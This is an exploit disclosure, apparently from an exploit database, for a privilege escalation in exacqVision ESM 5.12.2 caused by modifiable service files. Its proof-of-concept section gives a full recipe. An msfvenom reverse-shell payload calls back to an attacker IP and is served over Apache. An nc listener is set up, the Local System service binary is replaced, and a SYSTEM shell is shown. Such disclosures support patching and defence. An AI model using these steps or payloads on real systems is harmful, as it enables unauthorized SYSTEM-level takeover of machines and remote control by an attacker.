exacqVision ESM 5.12.2 Privilege Escalation

`# Exploit Title: exacqVision ESM 5.12.2 - Privilege Escalation  
# Exploit Author: bzyo  
# Twitter: @bzyo_  
# Date: 2019-02-13  
# Vulnerable Software:   
# http://cdnpublic.exacq.com/5.12/exacqVisionEnterpriseSystemManager_5.12.2.150128_x86.exe  
# Vendor Homepage: https://www.exacq.com  
# Version: 5.12.2.150128  
# Tested Windows 7 SP1 x86 and Windows 10 x64  
  
# Description:  
# exacqVision ESM 5.12.2 suffers from Privilege Escalation due to insecure file permissions  
  
# Prerequisites  
# Local, Low privilege access with restart capabilities  
  
# Details  
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.   
# A low privilege account is able to rename the enterprisesystemmanager.exe file located in   
# this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges   
# (nt authority\system) due to the service running as Local System. While a low privilege user is unable to restart the service   
# through the application, a restart of the computer triggers the execution of the malicious file.  
  
# note: during install, you cannot choose a folder containing spaces i.e. "program files"  
  
C:\>icacls exacqVisionEsm  
exacqVisionEsm NT AUTHORITY\NETWORK SERVICE:(RX)  
win7-32bit\bob:(RX)  
BUILTIN\Administrators:(I)(F)  
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)  
NT AUTHORITY\SYSTEM:(I)(F)  
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)  
BUILTIN\Users:(I)(OI)(CI)(RX)  
NT AUTHORITY\Authenticated Users:(I)(M)  
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)  
  
Successfully processed 1 files; Failed processing 0 files  
  
  
C:\>sc qc "exacqVision Enterprise System Manager Web Service"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: exacqVision Enterprise System Manager Web Service  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ESMWebService  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
# Proof of Concept  
1. Generate malicious .exe on attacking machine  
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.163 LPORT=443 -f exe > /var/www/html/enterprisesystemmanager.exe  
  
2. Setup listener and ensure apache is running on attacking machine  
nc -nlvvp 443  
service apache2 start  
  
3. Download malicious .exe on victim machine  
Open browser to http://192.168.0.163/enterprisesystemmanager.exe and download  
  
4. Rename C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe  
enterprisesystemmanager.exe > enterprisesystemmanager.bak  
  
5. Copy/Move downloaded enterprisesystemmanager.exe file to C:\exacqVisionEsm\EnterpriseSystemManager\  
  
6. Restart victim machine and login as low privileged user   
  
7. Reverse Shell on attacking machine opens  
C:\Windows\system32>whoami  
whoami  
nt authority\system  
`